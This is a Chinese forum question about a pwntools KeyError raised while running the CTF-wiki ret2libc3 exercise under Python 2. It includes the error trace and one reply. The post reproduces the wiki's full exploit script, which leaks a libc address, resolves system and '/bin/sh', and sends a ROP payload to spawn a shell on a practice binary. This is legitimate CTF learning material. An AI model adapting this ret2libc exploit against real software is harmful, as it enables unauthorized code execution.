AsukaRGR 2022-11-02 00:39 采纳率: 0%
浏览 313
已结题

ret2libc3 python2报错

有师傅用Python2跑过CTFwiki里的ret2libc3例程吗,我这边pwnlib一直报错,找了很久也没找到什么原因

附个链接:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#3

[+] Starting local process './ret2libc3': pid 132
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/mnt/c/Users/asuka/Desktop/CTF/wiki/pwn/ret2libc3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Traceback (most recent call last):
  File "2.py", line 8, in <module>
    puts_plt = ret2libc3.plt['puts']
  File "/home/asuka/.local/lib/python2.7/site-packages/pwnlib/elf/elf.py", line 163, in __missing__
    return self[name]
  File "/home/asuka/.local/lib/python2.7/site-packages/pwnlib/elf/elf.py", line 164, in __missing__
    raise KeyError(name)
KeyError: u'puts'
[*] Stopped process './ret2libc3' (pid 132)

wiki给出的EXP如下

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print ("leak libc_start_main_got addr and return to main again")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print ("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print ("get shell")
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

  • 写回答

5条回答 默认 最新

  • 游一游走一走 2022-11-02 09:15
    关注
    获得4.20元问题酬金

    换个其他的解析包吧,你用的这个好像不是主流,而且它支持的版本写明的是>=3.5

    img

    评论

报告相同问题?

问题事件

  • 系统已结题 11月10日
  • 修改了问题 11月2日
  • 创建了问题 11月2日

悬赏问题

  • ¥15 Hadoop的部署与安装的一些疑问
  • ¥15 短剧的sdk在哪里接入
  • ¥30 智能割草机自动化割草
  • ¥15 求:可不可以提供一些 在国内可以用,低代码不要太难 在电脑上可以下载的 制作app的软件
  • ¥60 找人回答kibana8.14.3二次集成开发,自定义插件ui导航栏如何设置
  • ¥15 fluke高精度万用表8845A型号测交流电压一直跳动,且去掉输入后显示不归零
  • ¥15 不同模型怎么用同一个shader
  • ¥15 安卓启动没有ais proxy与v4l2的log打印
  • ¥15 go怎么读取mdb文件里面的数据
  • ¥60 Matlab联合CRUISE仿真编译dll文件报错